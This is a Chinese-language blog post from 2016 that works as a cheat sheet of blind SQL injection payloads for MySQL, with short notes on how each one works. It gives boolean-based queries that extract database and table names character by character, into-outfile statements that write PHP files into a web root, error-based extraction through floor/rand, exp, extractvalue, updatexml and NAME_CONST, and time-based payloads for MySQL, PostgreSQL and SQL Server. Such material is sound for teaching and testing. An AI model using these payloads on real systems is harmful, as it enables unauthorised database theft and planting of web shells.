sql盲注及其相关方法

Sql注入过程数据(后台数据不能回显到页面)不回显采用方法

1:构造逻辑判断

▲left(database(),1)>’s’             //left()函数

▲and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>190                      //substr()函数,ascii()函数

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23                  //ORD()函数,MID()函数

 

2:利用  into outfile直接上传php代码

▲Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

▲into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件

原理参考:http://www.cnblogs.com/lcamry/p/5504204.html

 

3:错误提示,构造错误的payload让信息通过错误提示回显出来。

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

//explain:此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复三是group by进行分组,但原理解释不是很通,大致原理为分组后数据计数时重复造成的错误

可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

 

如果关键的表被禁用了,可以使用这种形式

 

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

 

如果rand被禁用了可以使用用户变量来报错

 

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

 

▲select exp(~(select * FROM(SELECT USER())a))         //double数值类型超出范围

  //Exp()为以e为底的对数函数;版本在5.5.5及其以上

▲select !(select * from (select user())x -ps:这是减号~0  

 //bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上

extractvalue(1,concat(0x7e,(select @@version),0x7e))  //mysqlxml数据进行查询和修改的xpath函数,xpath语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysqlxml数据进行查询和修改的xpath函数,xpath语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重复特性,此处重复了version,所以报错

4:延时注入(逻辑判断回显结果一样,无法通过回显判断,可以利用延时进行判断)

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  条件为假,执行sleep

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

   //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击

此处配置一张《白帽子讲安全》图片

Mysql

BENCHMARK(100000,MD5(1))  or sleep(5)

Postgresql

PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)

Ms sql server

WAITFOR DELAY ‘0:0:5’

posted @ 2016-05-20 21:45  lcamry  阅读(1243)  评论(1编辑  收藏  举报